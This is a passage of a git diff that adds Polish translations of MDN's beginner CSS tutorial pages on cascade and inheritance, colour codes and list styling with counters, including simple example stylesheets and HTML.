(oraz treści i innych arkuszy stylów) z wybranymi elementami. +Następna strona opisuje to: +<b><a href="pl/CSS/Na_pocz%c4%85tek/Wi%c4%85zania_XBL">Wiązania XBL</a></b> +</p>{{ languages( { "en": "en/CSS/Getting_Started/JavaScript", "fr": "fr/CSS/Premiers_pas/JavaScript", "pt": "pt/CSS/Como_come\u00e7ar/JavaScript" } ) }} diff --git a/files/pl/web/css/na_początek/kaskadowość_i_dziedziczenie/index.html b/files/pl/web/css/na_początek/kaskadowość_i_dziedziczenie/index.html new file mode 100644 index 0000000000..dbf53074b0 --- /dev/null +++ b/files/pl/web/css/na_początek/kaskadowość_i_dziedziczenie/index.html @@ -0,0 +1,96 @@ +--- +title: Kaskadowość i dziedziczenie +slug: Web/CSS/Na_początek/Kaskadowość_i_dziedziczenie +tags: + - 'CSS:Na_początek' +translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance +--- +<p> +</p><p>Ta strona tłumaczy jak arkusze stylów oddziaływują w kaskadzie, oraz jak elementy dziedziczą style od swoich rodziców. +</p><p>Nauczysz się zmieniać styl wielu elementów dokumentu jednym ruchem dzięki dziedziczeniu. +</p> +<h3 id="Informacja:_Kaskadowo.C5.9B.C4.87_i_dziedziczenie" name="Informacja:_Kaskadowo.C5.9B.C4.87_i_dziedziczenie"> Informacja: Kaskadowość i dziedziczenie </h3> +<p>Ostateczny styl elementu może być określony w wielu różnych miejscach, które mogą na siebie oddziaływać w złożony sposób. +Złożone interakcje czynią CSS potężnym, ale także mogą uczynić go niezrozumiałym i trudnym do debugowania. +</p><p>Trzy główne źródła informacji o stylu tworzą kaskadę. +Są to: +</p> +<ul><li>Domyślny styl przeglądarki dla danego języka znaczników +</li><li>Styl określony przez użytkownika czytającego stronę +</li><li>Styl podpięty do dokumentu przez jego autora +</li></ul> +<p>Styl użytkownika modyfikuje domyślny styl przeglądarki. +Styl autora dokumentu modyfikuje ten styl jeszcze bardziej. +W tym kursie Ty jesteś autorem przykładowego dokumentu i pracujesz tylko ze stylem autora. +</p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4;"> +<caption>Przykład +</caption><tbody><tr> +<td> Kiedy czytasz ten dokument w przeglądarce Mozilla, część stylu, który widzisz, pochodzi z domyślnego stylu przeglądarki dla HTML-a. +<p>Część tego stylu pochodzi z Twoich ustawień przeglądarki w Opcjach lub z pliku <code>userContent.css</code> w profilu przeglądarki. +</p><p>Część tego stylu pochodzi z arkusza stylów podpiętego do tego dokumentu przez serwer wiki. +</p> +</td></tr></tbody></table> +<p>Kiedy otwierasz przykładowy dokument w swojej przeglądarce, elementy STRONG są pogrubione w stosunku do reszty tekstu. Dzieje się tak, ponieważ zostało to ustawione w domyślnym stylu przeglądarki dla HTML-a. +</p><p>Elementy STRONG są czerwone. To ustawienie pochodzi z Twojego arkusza stylów. +</p><p>Elementy STRONG dziedziczą też większość ustawień stylu elementu P, ponieważ są jego dziećmi. W ten sam sposób element P dziedziczy wiele ustawień ze stylu elementu BODY. +</p><p>Dla stylów w kaskadzie najważniejsze są style autora strony, potem czytelnika, a na końcu ustawienia domyślne przeglądarki. +</p><p>Dla dziedziczonych stylów własne style ich dzieci mają wyższy priorytet od stylu dziedziczonego po rodzicu. +</p><p>Nie są to jedyne istniejące priorytety. Dalsze strony tego kursu wyjaśnią więcej. +</p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4;"> +<caption>Więcej szczegółów +</caption><tbody><tr> +<td> CSS daje też czytelnikowi możliwość nadpisania stylów autora dokumentu przez użycie słowa kluczowego <code>!important</code>. +<p>Oznacza to, że jako autor dokumentu, nie możesz nigdy dokładnie przewidzieć, co czytelnicy zobaczą. +</p><p>Jeżeli chcesz poznać wszystkie szczegóły kaskadowości i dziedziczenia, zobacz <a class="external" href="http://www.w3.org/TR/CSS21/cascade.html">Przypisywanie wartości własności, Kaskadowość oraz dziedziczenie</a> w specyfikacji CSS. +</p> +</td></tr></tbody></table> +<h3 id="Zadanie:_U.C5.BCywanie_dziedziczenia" name="Zadanie:_U.C5.BCywanie_dziedziczenia"> Zadanie: Używanie dziedziczenia </h3> +<p>Wyedytuj Twój przykładowy plik CSS. +</p><p>Dodaj tę linię poprzez skopiowanie i wklejenie jej. +Nie ma żadnego znaczenia, czy dodasz ją pod czy nad linią, która już tam jest. +Jednakże dodawanie jej na górze jest bardziej logiczne, ponieważ w Twoim dokumencie element P jest rodzicem elementu STRONG: +</p> +<pre>p {color: blue; text-decoration: underline;} +</pre> +<p>Teraz odśwież okno przeglądarki, aby obejrzeć efekt na przykładowym dokumencie. +Podkreślenie wpłynęło na cały tekst paragrafu, włączając w to początkowe litery. +Elementy STRONG dziedziczyły styl podkreślenia po swoim rodzicu, elemencie P. +</p><p>Ale elementy STRONG nadal są czerwone. Kolor czerwony jest ich własnym stylem, ma zatem wyższy priorytet niż niebieski kolor ich rodzica, elementu P. +</p> +<table> +<tbody><tr> +<td> +<table style="border: 2px outset #36b; padding: 1em; margin-right: 2em;"> +<caption>Przed +</caption><tbody><tr> +<td><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets +</td></tr></tbody></table> +</td><td> +<table style="border: 2px outset #36b; padding: 1em;"> +<caption>Po +</caption><tbody><tr> +<td style="color: blue; text-decoration: underline;"><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets +</td></tr></tbody></table> +</td></tr></tbody></table> +<p><br> +</p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4;"> +<caption>Wyzwanie +</caption><tbody><tr> +<td> Zmień swój arkusz stylów, aby tylko czerwone litery były podkreślone: +<table style="border: 2px outset #36b; padding: 1em;"> +<tbody><tr> +<td style="color: blue;"><strong style="color: red; text-decoration: underline;">C</strong>ascading <strong style="color: red; text-decoration: underline;">S</strong>tyle <strong style="color: red; text-decoration: underline;">S</strong>heets +</td></tr></tbody></table> +</td></tr></tbody></table> +<p><br> +</p> +<h4 id="Co_dalej.3F" name="Co_dalej.3F"> Co dalej? </h4> +<p>Jeżeli masz problemy ze zrozumieniem tej strony albo chcesz ją skomentować, pomóż nam, dopisując się na stronie <a>Dyskusji</a>. +</p><p>Twój przykładowy arkusz stylów opisuje style dla znaczników <code>P</code> oraz <code>STRONG</code>, +zmieniając styl odpowiednich elementów w Twoim dokumencie. +Następna strona opisuje, jak określić styl w bardziej selektywny sposób: +<b><a href="pl/CSS/Na_pocz%c4%85tek/Selektory">Selektory</a></b> +</p>{{ languages( { "en": "en/CSS/Getting_Started/Cascading_and_inheritance", "fr": "fr/CSS/Premiers_pas/Cascade_et_h\u00e9ritage", "it": "it/Conoscere_i_CSS/Cascata_ed_ereditariet\u00e0", "ja": "ja/CSS/Getting_Started/Cascading_and_inheritance", "pt": "pt/CSS/Como_come\u00e7ar/Cascata_e_heran\u00e7a", "zh-cn": "cn/CSS/Getting_Started/Cascading_and_inheritance" } ) }} diff --git a/files/pl/web/css/na_początek/kolor/index.html b/files/pl/web/css/na_początek/kolor/index.html new file mode 100644 index 0000000000..2edc0a662c --- /dev/null +++ b/files/pl/web/css/na_początek/kolor/index.html @@ -0,0 +1,208 @@ +--- +title: Kolor +slug: Web/CSS/Na_początek/Kolor +tags: + - 'CSS:Na_początek' +translation_of: Learn/CSS/Introduction_to_CSS/Values_and_units#Colors +--- +<p> +</p><p>Ta strona dokładniej opisuje sposoby pracy z kolorami w CSS-ie. +</p><p>W swoim przykładowym arkuszu stylów, dodasz kolory tła. +</p> +<h3 id="Informacja:_Kolor" name="Informacja:_Kolor"> Informacja: Kolor </h3> +<p>Do tej pory w tym kursie używałeś(aś) ograniczonej liczby nazwanych kolorów. +CSS 2 definiuje 17 nazwanych kolorów. +Niektóre z nazw mogą nie być tym, czego się spodziewasz: +</p> +<table style="border: 0px; margin-left: 2em; text-align: right;"> +<tbody><tr> +<td> </td><td> black </td><td style="width: 2em; height: 2em; background-color: black;"> </td><td> gray </td><td style="width: 2em; height: 2em; background-color: gray;"> </td><td> silver </td><td style="width: 2em; height: 2em; background-color: silver;"> </td><td> white </td><td style="width: 2em; height: 2em; background-color: white; border: 1px dotted gray;"> +</td></tr> +<tr> +<td> podstawowe </td><td> red </td><td style="width: 2em; height: 2em; background-color: red;"> </td><td> lime </td><td style="width: 2em; height: 2em; background-color: lime;"> </td><td> blue </td><td style="width: 2em; height: 2em; background-color: blue;"> +</td></tr> +<tr> +<td> drugorzędne </td><td> yellow </td><td style="width: 2em; height: 2em; background-color: yellow;"> </td><td> aqua </td><td style="width: 2em; height: 2em; background-color: aqua;"> </td><td> fuchsia </td><td style="width: 2em; height: 2em; background-color: fuchsia;"> +</td></tr> +<tr> +<td> </td><td>maroon</td><td style="width: 2em; height: 2em; background-color: maroon;"> </td><td> orange</td><td style="width: 2em; height: 2em; background-color: orange;"> </td><td> olive</td><td style="width: 2em; height: 2em; background-color: olive;"> </td><td> purple</td><td style="width: 2em; height: 2em; background-color: purple;"> </td><td> green</td><td style="width: 2em; height: 2em; background-color: green;"> </td><td> navy</td><td style="width: 2em; height: 2em; background-color: navy;"> </td><td> teal</td><td style="width: 2em; height: 2em; background-color: teal;"> +</td></tr></tbody></table> +<p><br> +</p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4;"> +<caption>Więcej szczegółów +</caption><tbody><tr> +<td> Twoja przeglądarka może obsługiwać znacznie więcej nazwanych kolorów, na przykład: +<table style="border: 0px; margin: .5em 0px .5em 2em; text-align: right; background-color: inherit;"> +<tbody><tr> +<td> dodgerblue</td><td style="width: 2em; height: 2em; background-color: dodgerblue;"> </td><td> peachpuff </td><td style="width: 2em; height: 2em; background-color: peachpuff;"> </td><td> tan </td><td style="width: 2em; height: 2em; background-color: tan;"> </td><td> firebrick </td><td style="width: 2em; height: 2em; background-color: firebrick;"> </td><td> aquamarine </td><td style="width: 2em; height: 2em; background-color: aquamarine;"> +</td></tr></tbody></table> +<p>Szczegółową listę znajdziesz w dokumentacji CSS 3, w module Kolor, sekcji +<a class="external" href="http://www.w3.org/TR/2003/CR-css3-color-20030514/#svg-color">słowa kluczowe kolorów w SVG</a>. Unikaj używania nazwanych kolorów, których przeglądarka osoby czytającej Twój dokument może nie obsługiwać. +</p> +</td></tr></tbody></table> +<p>Aby móc korzystać w większej palety kolorów, określ czerwony, zielony i niebieski komponent koloru, z którego chcesz skorzystać, używając znaku "hash" oraz trzech <i>heksadecymalnych</i> liczb w zakresie od 0 – 9, a – f. Litery a – f reprezentują wartości 10 – 15. +</p> +<table style="border: 0px; margin-left: 2em;"> +<tbody><tr> +<td>black </td><td style="width: 2em; height: 2em; background-color: #000;"> </td><td><code>#000</code> +</td></tr> +<tr> +<td>pure red </td><td style="width: 2em; height: 2em; background-color: #f00;"> </td><td> <code>#f00</code> +</td></tr> +<tr> +<td>pure green </td><td style="width: 2em; height: 2em; background-color: #0f0;"> </td><td> <code>#0f0</code> +</td></tr> +<tr> +<td>pure blue </td><td style="width: 2em; height: 2em; background-color: #00f;"> </td><td> <code>#00f</code> +</td></tr> +<tr> +<td>white </td><td style="width: 2em; height: 2em; background-color: #fff; border: 1px dotted gray;"> </td><td> <code>#fff</code> +</td></tr></tbody></table> +<p>Aby skorzystać z pełnej palety, określ dwie heksadecymalne liczby na każdy komponent: +</p> +<table style="border: 0px; margin-left: 2em;"> +<tbody><tr> +<td>black </td><td style="width: 2em; height: 2em; background-color: #000;"> </td><td> <code>#000000</code> +</td></tr> +<tr> +<td>pure red </td><td style="width: 2em; height: 2em; background-color: #f00;"> </td><td> <code>#ff0000</code> +</td></tr> +<tr> +<td>pure green </td><td style="width: 2em; height: 2em; background-color: #0f0;"> </td><td> <code>#00ff00</code> +</td></tr> +<tr> +<td>pure blue </td><td style="width: 2em; height: 2em; background-color: #00f;"> </td><td> <code>#0000ff</code> +</td></tr> +<tr> +<td>white </td><td style="width: 2em; height: 2em; background-color: #fff; border: 1px dotted gray;"> </td><td> <code>#ffffff</code> +</td></tr></tbody></table> +<p>Zazwyczaj te sześcioliczbowe, heksadecymalne kody możesz pobrać z Twojego programu graficznego lub innego narzędzia. +</p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4;"> +<caption>Przykłady +</caption><tbody><tr> +<td> Odrobina praktyki i w większości wypadków możesz modyfikować trzyliczbowe kolory ręcznie: +<table style="border: 0px; margin-left: 2em; background-color: #fffff4;"> +<tbody><tr> +<td>Zacznij od czystej czerwieni: </td><td style="width: 2em; height: 2em; background-color: #f00;"> </td><td><code>#f00</code> +</td></tr> +<tr> +<td>Aby ją rozjaśnić, dodaj trochę zielonego i niebieskiego: </td><td style="width: 2em; height: 2em; background-color: #f77;"> </td><td><code>#f77</code> +</td></tr> +<tr> +<td>Aby kolor był bardziej pomarańczowy, dodaj trochę zielonego: </td><td style="width: 2em; height: 2em; background-color: #fa7;"> </td><td><code>#fa7</code> +</td></tr> +<tr> +<td>Aby kolor był ciemniejszy, zmniejsz wartość wszystkich komponentów: </td><td style="width: 2em; height: 2em; background-color: #c74;"> </td><td><code>#c74</code> +</td></tr> +<tr> +<td>Aby zmniejszyć nasycenie, zmniejsz różnice między wartościami komponentów: </td><td style="width: 2em; height: 2em; background-color: #c98;"> </td><td><code>#c98</code> +</td></tr> +<tr> +<td>Jeśli ustawisz jednakową wartość wszystkich komponentów, uzyskasz kolor szary: </td><td style="width: 2em; height: 2em; background-color: #ccc;"> </td><td><code>#ccc</code> +</td></tr></tbody></table> +</td></tr> +<tr> +<td> Aby uzyskać pastelowy odcień, taki jak blady niebieski: +<table style="border: 0px; margin-left: 2em; background-color: #fffff4;"> +<tbody><tr> +<td>Zacznij od białego: </td><td style="width: 2em; height: 2em; background-color: #fff; border: 1px dotted gray;"> </td><td><code>#fff</code> +</td></tr> +<tr> +<td>Zredukuj trochę wartości komponentów innych, niż niebieski: </td><td style="width: 2em; height: 2em; background-color: #eef; border: 1px dotted gray;"> </td><td><code>#eef</code> +</td></tr></tbody></table> +</td></tr></tbody></table> +<p><br> +</p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4;"> +<caption>Więcej szczegółów +</caption><tbody><tr> +<td> Możesz także określić kolor, używając decymalnych wartości RGB w zakresie 0 – 255, lub procentów. +<p>Na przykład to jest kasztanowaty (ciemnoczerwony): +</p> +<div style="width: 24em;"><pre> +rgb(128, 0, 0) +</pre></div> +<p>Więcej szczegółów na temat określania kolorów znajdziesz w sekcji +<a class="external" href="http://www.w3.org/TR/CSS21/syndata.html#color-units">Kolory</a> w specyfikacji CSS. +</p><p>Więcej informacji na temat dopasowania kolorów do kolorów systemowych, jak Menu czy ThreeDFace, znajdziesz w: +<a class="external" href="http://www.w3.org/TR/CSS21/ui.html#system-colors">CSS2 Kolory Systemowe</a> specyfikacji CSS. +</p> +</td></tr></tbody></table> +<p><br> +</p> +<h4 id="W.C5.82asno.C5.9Bci_kolor.C3.B3w" name="W.C5.82asno.C5.9Bci_kolor.C3.B3w"> Własności kolorów </h4> +<p>Korzystałeś(aś) już z własności <code>color</code> dla tekstu. +</p><p>Możesz też użyć własności <code>background-color</code>, aby zmienić tła elementów. +</p><p>Jeżeli ustawisz wartość tła na <code>transparent</code>, będzie ono przezroczyste i pokaże tło elementu rodzica. +</p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4;"> +<caption>Przykład +</caption><tbody><tr> +<td> Boksy <b>Przykład</b> w tym kursie używają bladożółtego tła: +<div style="width: 24em;"><pre> +background-color: #fffff4; +</pre></div> +<p>Boksy <b>Więcej szczegółów</b> używają bladoszarego: +</p> +<div style="width: 24em;"><pre> +background-color: #f4f4f4; +</pre></div> +</td></tr></tbody></table> +<h3 id="Zadanie:_Korzystanie_z_kod.C3.B3w_kolor.C3.B3w" name="Zadanie:_Korzystanie_z_kod.C3.B3w_kolor.C3.B3w"> Zadanie: Korzystanie z kodów kolorów </h3> +<p>Wyedytuj swój plik CSS. +</p><p>Wykonaj zmiany oznaczone tutaj pogrubieniem, aby nadać pierwszym literom bladoniebieskie tło. +(Styl i komentarze w Twoim pliku będą prawdopodobnie inne niż pokazane tutaj. +Zachowaj styl i komentarze w stylu jaki wybrałeś(aś)). +</p> +<div style="width: 32em;"> +<pre class="eval">/*** CSS Tutorial: Color page ***/ + +/* page font */ +body {font: 16px "Comic Sans MS", cursive;} + +/* paragraphs */ +p {color: blue;} +#first {font-style: italic;} + +/* initial letters */ +strong { + color: red; + <strong>background-color: #ddf;</strong> + font: 200% serif; + } + +.carrot {color: red;} +.spinach {color: green;} +</pre> +</div> +<p>Odśwież okno przeglądarki, aby zobaczyć wynik: +</p> +<table> +<tbody><tr> +<td style="font: italic 16px 'Comic Sans MS', cursive; color: blue;"><strong style="color: red; background-color: #ddf; font: 200% serif;">C</strong>ascading <strong style="color: green; background-color: #ddf; font: 200% serif;">S</strong>tyle <strong style="color: green; background-color: #ddf; font: 200% serif;">S</strong>heets +</td></tr> +<tr> +<td style="font: 16px 'Comic Sans MS', cursive; color: blue;"><strong style="color: red; background-color: #ddf; font: 200% serif;">C</strong>ascading <strong style="color: red; background-color: #ddf; font: 200% serif;">S</strong>tyle <strong style="color: red; background-color: #ddf; font: 200% serif;">S</strong>heets +</td></tr></tbody></table> +<p><br> +</p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #ffe; width: 100%;"> +<caption>Wyzwanie +</caption><tbody><tr> +<td> W swoim pliku CSS zmień wszystkie nazwy kolorów na 3-cyfrowe kody kolorów, tak, żeby rezultat pozostał taki sam. +<p>(To nie jest do końca możliwe, ale możesz być blisko ideału. +Aby uzyskać dokładnie taki efekt, potrzebujesz 6-cyfrowych kodów oraz musisz zajrzeć do specyfikacji CSS lub użyć narzędzia graficznego, aby znaleźć odpowiednie kody). +</p> +</td></tr></tbody></table> +<p><br> +</p> +<h4 id="Co_dalej.3F" name="Co_dalej.3F"> Co dalej? </h4> +<p>Twój przykładowy dokument i przykładowy arkusz stylów ściśle rozdzielają treść od stylu. +</p><p>Następna strona wyjaśnia, jak robić wyjątki od tego rozdziału: +<b><a href="pl/CSS/Na_pocz%c4%85tek/Tre%c5%9b%c4%87">Treść</a></b> +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/CSS/Getting_Started/Color", "fr": "fr/CSS/Premiers_pas/Couleurs", "it": "it/Conoscere_i_CSS/Colori", "ja": "ja/CSS/Getting_Started/Color", "pt": "pt/CSS/Como_come\u00e7ar/Cor" } ) }} diff --git a/files/pl/web/css/na_początek/listy/index.html b/files/pl/web/css/na_początek/listy/index.html new file mode 100644 index 0000000000..18c61f4bce --- /dev/null +++ b/files/pl/web/css/na_początek/listy/index.html @@ -0,0 +1,268 @@ +--- +title: Listy +slug: Web/CSS/Na_początek/Listy +tags: + - 'CSS:Na_początek' +translation_of: Learn/CSS/Styling_text/Styling_lists +--- +<p> +</p><p>Ta strona opisuje jak możesz użyć CSS-a do określania wyglądu list. +</p><p>Stworzysz nowy dokument zawierający listę, oraz nowy arkusz stylów ze stylami dla niej. +</p> +<h3 id="Informacja:_Listy" name="Informacja:_Listy"> Informacja: Listy </h3> +<p>Jeżeli podjąłeś(aś) wyzwanie z poprzedniej strony (<b><a href="pl/CSS/Na_pocz%c4%85tek/Tre%c5%9b%c4%87">Treść</a></b>), widziałeś(aś), jak można dodać treść przed jakimś elementem, aby wyglądało to jak elementy listy. +</p><p>CSS posiada specjalne własności stworzone dla list. +Staraj się z nich korzystać, jeśli masz możliwość. +</p><p>Aby określić styl dla listy, użyj własności <code>list-style</code> do określenia typu znacznika. +</p><p>Selektor w regule CSS może określać elementy listy (np. <code>LI</code>) lub element rodzica list (np. <code>UL</code>), z którego elementy listy będą dziedziczyły te style. +</p> +<h4 id="Listy_nieuporz.C4.85dkowane_.28unordered_lists.29" name="Listy_nieuporz.C4.85dkowane_.28unordered_lists.29"> Listy nieuporządkowane (unordered lists) </h4> +<p>W liście <i>nieuporządkowanej</i> każdy element jest oznaczony w ten sam sposób. +</p><p>W CSS występują trzy typy oznaczeń. +Wyświetlane są w następujący sposób: +</p> +<ul style="padding-left: 2em;"> +<li style=""><code>disc</code></li> +<li style=""><code>circle</code></li> +<li style=""><code>square</code></li> +</ul> +<p>Alternatywnie możesz określić URL do obrazka. +</p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;"> +<caption>Przykład +</caption><tbody><tr> +<td> Te reguły określają różne oznaczenia dla różnych klas elementów listy: +<div style="width: 30em;"> +<p>li.open {list-style: circle;} +li.closed {list-style: disc;} +</p> +</div> +<p>Kiedy użyjesz tych klas w liście, rozdzielisz elementy otwarte i zamknięte: +</p> +<div style="width: 30em;"> +<p><UL> +</p> +<pre class="eval"> <LI class="open">Lorem ipsum</LI> + <LI class="closed">Dolor sit</LI> + <LI class="closed">Amet consectetuer</LI> + <LI class="open">Magna aliquam</LI> + <LI class="closed">Autem veleum</LI> +</pre> +<p></UL> +</p> +</div> +<p>Wynik może wyglądać na przykład tak: +</p> +<table style="border: 2px outset #36b; padding: 1em; background-color: white;"> +<tbody><tr> +<td><ul style="padding-right: 6em;"> +<li style="">Lorem ipsum</li> +<li style="">Dolor sit</li> +<li style="">Amet consectetuer</li> +<li style="">Magna aliquam</li> +<li style="">Autem veleum</li> +</ul> +</td></tr></tbody></table> +</td></tr></tbody></table> +<h4 id="Listy_uporz.C4.85dkowane_.28ordered_lists.29" name="Listy_uporz.C4.85dkowane_.28ordered_lists.29"> Listy uporządkowane (ordered lists) </h4> +<p>W przypadku list <i>uporządkowanych</i> każdy element listy jest osobno oznaczony, aby zaznaczyć jego pozycję w sekwencji. +</p><p>Użyj własności <code>list-style</code>, aby określić typ oznaczenia: +</p> +<ul style="padding-left: 2em;"> +<li style=""><code>decimal</code></li> +<li style=""><code>lower-roman</code></li> +<li style=""><code>upper-roman</code></li> +<li style=""><code>lower-latin</code></li> +<li style=""><code>upper-latin</code></li> +</ul> +<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;"> +<caption>Przykład +</caption><tbody><tr> +<td> Ta reguła określa, że w bloku <small>OL</small> z klasą <code>info</code> elementy są oznaczane dużymi literami. +<div style="width: 30em;"> +<p>ol.info {list-style: upper-latin;} +</p> +</div> +<p>Elementy <small>LI</small> dziedziczą ten styl: +</p> +<table style="border: 2px outset #36b; padding: 1em; background-color: white;"> +<tbody><tr> +<td><ul> +<li style="padding-right: 6em;">Lorem ipsum</li> +<li style="padding-right: 6em;">Dolor sit</li> +<li style="padding-right: 6em;">Amet consectetuer</li> +<li style="padding-right: 6em;">Magna aliquam</li> +<li style="padding-right: 6em;">Autem veleum</li> +</ul> +</td></tr></tbody></table> +</td></tr></tbody></table> +<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em;"> +<caption>Więcej szczegółów +</caption><tbody><tr> +<td> Własność <code>list-style</code> jest własnością skrótową. W złożonych arkuszach stylów raczej będziesz wolał(a) używać osobnych własności dla osobnych wartości. Aby dowiedzieć się więcej na temat osobnych własności oraz jak CSS określa listy, zajrzyj do sekcji <a class="external" href="http://www.w3.org/TR/CSS21/generate.html#q10">Listy</a> w dokumentacji CSS. +<p>Jeżeli używasz języka znaczników, jak HTML, który korzysta z własnych znaczników dla list nieuporządkowanych (<small>UL</small>) i uporządkowanych (<small>OL</small>), wówczas dobrym zwyczajem jest korzystanie z nich zgodnie z przeznaczeniem. Jednakże możesz użyć CSS, aby wyświetlić <small>UL</small> jako posortowaną, a <small>OL</small> jako nieposortowaną, jeśli wolisz. +</p><p>Różne przeglądarki w różny sposób obsługują te style dla list. +Nie oczekuj, że Twój arkusz stylów zostanie wyświetlony identycznie we wszystkich. +</p> +</td></tr></tbody></table> +<h4 id="Liczniki" name="Liczniki"> Liczniki </h4> +<div style="border: 1px solid red; padding: 6px; margin: 0 0 .5em -6px; width: 100%;"> +<p><strong>Notatka: </strong> Niektóre przeglądarki nie obsługują liczników.</p> +</div> +<p>Możesz używać liczników do różnych elementów, nie tylko list. +Na przykład w niektórych dokumentacjach możesz chcieć numerować nagłówki lub paragrafy. +</p><p>Aby określić numerację, musisz zadeklarować <i>counter</i> z określoną nazwą. +</p><p>W którymś z elementów, zanim rozpocznie się naliczanie, zresetuj licznik, używając właściwości <code>counter-reset</code> i nazwą Twojego licznika. +Rodzic elementów, które liczysz, jest dobrym miejscem na reset, ale możesz użyć dowolnego elementu, który pojawia się przed elementami listy. +</p><p>W każdym elemencie, w którym licznik jest inkrementowany, dodaj właściwość <code>counter-increment</code>. Jako wartość podaj nazwę licznika. +</p><p>Aby wyświetlić wartość licznika, dodaj <code>:before</code> lub <code>:after</code> do selektora i użyj własności <code>content</code> (tak jak na poprzedniej stronie <b><a href="pl/CSS/Na_pocz%c4%85tek/Tre%c5%9b%c4%87">Treść</a></b>). +</p><p>Jako wartość własności <code>content</code> wstaw <code>counter()</code> z nazwą swojego licznika. +Opcjonalnie określ typ. +Typy są takie same jak w sekcji '<i>listy uporządkowane</i>. +</p><p>Zwykle element, który wyświetla licznik, inkrementuje go. +</p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;"> +<caption>Przykład +</caption><tbody><tr> +<td> Ta reguła inicjalizuje licznik w każdym elemencie <small>H3</small> z klasą <code>numbered</code>: +<div style="width: 30em;"> +<p>h3.numbered {counter-reset: mynum;} +</p> +</div> +<p>Ta reguła wyświetla i inkrementuje licznik dla każdego elementu <small>P</small> z klasą <code>numbered</code>: +</p> +<div style="width: 30em;"> +<p>p.numbered:before { +</p> +<pre class="eval"> content: counter(mynum) ": "; + counter-increment: mynum; + font-weight: bold;} +</pre> +</div> +<p>Wynik wygląda tak: +</p> +<table style="border: 2px outset #36b; padding: .5em 6em .5em 1em; background-color: white;"> +<tbody><tr> +<td><b>Heading</b><br> +<p><b>1: </b>Lorem ipsum</p> +<p><b>2: </b>Dolor sit</p> +<p><b>3: </b>Amet consectetuer</p> +<p><b>4: </b>Magna aliquam</p> +<p><b>5: </b>Autem veleum</p> +</td></tr></tbody></table> +</td></tr></tbody></table> +<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em;"> +<caption>Więcej szczegółów +</caption><tbody><tr> +<td> Nie należy używać liczników, jeśli nie masz pewności, że każdy, kto czyta Twój dokument, posiada obsługującą je przeglądarkę. +<p>Jeżeli możesz używać liczników, mają one tę zaletę, że określasz ich styl niezależnie od elementów listy. W powyższym przykładzie liczniki są pogrubione, a elementu listy nie. +</p><p>Możesz też używać liczników w bardziej złożony sposób — na przykład do numerowania sekcji, nagłówków, podnagłówków i paragrafów w dokumentach. +Aby dowiedzieć się więcej, zajrzyj do specyfikacji CSS do sekcji <a class="external" href="http://www.w3.org/TR/CSS21/generate.html#counters">Automatyczne liczniki i numerowanie</a>. +</p> +</td></tr></tbody></table> +<h3 id="Zadanie:_Style_list" name="Zadanie:_Style_list"> Zadanie: Style list </h3> +<p>Stwórz nowy dokument HTML, <code>doc2.html</code>. +Skopiuj i wklej poniższą treść, upewniając się, że zaznaczyłeś(aś) cały: +</p> +<div style="width: 48em; height: 12em; overflow: auto;"> +<p><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN"> +<HTML> +<HEAD> +<TITLE>Sample document 2</TITLE> +<LINK rel="stylesheet" type="text/css" href="style2.css"> +</HEAD> +<BODY> + +<H3 id="oceans">The oceans</H3> +<UL> +<LI>Arctic</LI> +<LI>Atlantic</LI> +<LI>Pacific</LI> +<LI>Indian</LI> +<LI>Southern</LI> +</UL> + +<H3 class="numbered">Numbered paragraphs</H3> +<P class="numbered">Lorem ipsum</P> +<P class="numbered">Dolor sit</P> +<P class="numbered">Amet consectetuer</P> +<P class="numbered">Magna aliquam</P> +<P class="numbered">Autem veleum</P> + +</BODY> +</HTML> +</p> +</div> +<p>Stwórz nowy arkusz stylów, <code>style2.css</code>. +Skopiuj i wklej poniższą treść: +</p> +<div style="width: 48em;"> +<p>/* numbered paragraphs */ +h3.numbered {counter-reset: mynum;} + +p.numbered:before { +</p> +<pre class="eval"> content: counter(mynum) ": "; + counter-increment: mynum; + font-weight: bold;} +</pre> +</div> +<p>Jeżeli układ i komentarze Ci nie odpowiadają, zmień je. +</p><p>Otwórz ten dokument w swojej przeglądarce. +Jeżeli Twoja przeglądarka obsługuje liczniki, zobaczysz coś takiego, jak poniżej. +Jeżeli Twoja przeglądarka nie obsługuje stylów, wówczas nie zobaczysz liczb (i prawdopodobnie także dwukropków): +</p> +<table style="border: 2px outset #36b; padding: 0 6em 1em 1em; background-color: white;"> +<tbody><tr> +<td><p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em;">The oceans</p> +<ul style=""> +<li>Arctic</li> +<li>Atlantic</li> +<li>Pacific</li> +<li>Indian</li> +<li>Southern</li> +</ul> +<p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em;">Numbered paragraphs</p> +<p><b>1: </b>Lorem ipsum</p> +<p><b>2: </b>Dolor sit</p> +<p><b>3: </b>Amet consectetuer</p> +<p><b>4: </b>Magna aliquam</p> +<p><b>5: </b>Autem veleum</p> +</td></tr></tbody></table> +<p><br> +</p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #ffe; width: 60%;"> +<caption>Wyzwania +</caption><tbody><tr> +<td> Dodaj jedną regułę do swojego arkusza stylów, aby ponumerować oceany, używając rzymskich liczb od i do v: +<table style="border: 2px outset #36b; padding: 0 6em 1em 1em; background-color: white;"> +<tbody><tr> +<td><p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; 